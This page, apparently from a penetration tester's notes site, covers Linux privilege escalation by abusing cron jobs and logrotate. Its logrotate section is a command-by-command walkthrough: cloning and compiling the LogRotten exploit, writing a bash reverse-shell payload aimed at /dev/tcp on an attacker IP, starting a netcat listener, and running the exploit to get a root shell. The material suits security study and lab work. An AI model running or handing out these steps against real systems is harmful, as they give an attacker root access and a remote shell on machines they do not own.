Programs, Jobs and Services
CronJob Abuse
Scheduled jobs, typically used for administrative tasks, creating backups, cleaning directories etc
The
crontabcommand can create a cron file, which will be run by the cron daemon on the schedule specifiedWhen created, the cron file will be created in /var/spool/cron for the specific user that creates it
Each entry in the crontab file requires six items in the following order:
minutes, hours, days, months, weeks, commands.
Exploiting Cronjobs:
By using
pspywe can view running processes and commands run by others users without the need for root privilegesCronJobs can be abused by analyzing their behaviour and the files they interact with
Suppose a cronjob runs a backup script as root periodically.
If we can interact with any resources handled by the script (or the script itself) we may be able to edit the logic of such script in order to get a reverse shell as the user running such cronjob (root)
Logrotate Abuse
logrotateis a tool (typically ran as acronjob) used to manage all logs in/var/logsIts global settings configuration file is located at
/etc/logrotate.conf, the/etc/logrotate.d/instead contains the configuration files for all forced rotations (after the first one)
Exploiting logrotate with LogRotten:
Prerequisites: logrotate must run as
rootand we needwrite permissionson the logrotate log filesVulnerable versions:
3.8.63.11.03.15.03.18.0Exploitation steps:
Use
pspyto verify that acronjobrunninglogrotateasrootis ran periodicallyIdentify the logfile being rotated periodically: such files typically have a filename format like
filename.log.1for the first rotation, thenfilename.log.2and so ongit clone https://github.com/whotwagner/logrotten.gitgcc logrotten.c -o logrottenecho 'bash -i >& /dev/tcp/your-ip/nc-port 0>&1' > payloadStart the netcat listener on the attacker machine: nc -lvnp 9001
Determine the option used by logrotate (create or compress):
grep "create\|compress" /etc/logrotate.conf | grep -v "#"Adapt the payload based on the option specified in the
logrotate.conffile:Create:
./logrotten -p ./payload /tmp/log/pwnme.logCompress:
./logrotten -p ./payload -c -s 4 /tmp/log/pwnme.log
Wait for the rotation and get the reverse shell as root
Disclaimer: sometimes you might need to edit the logfile (add a blank space) in order to trigger the rotation
Last updated
Was this helpful?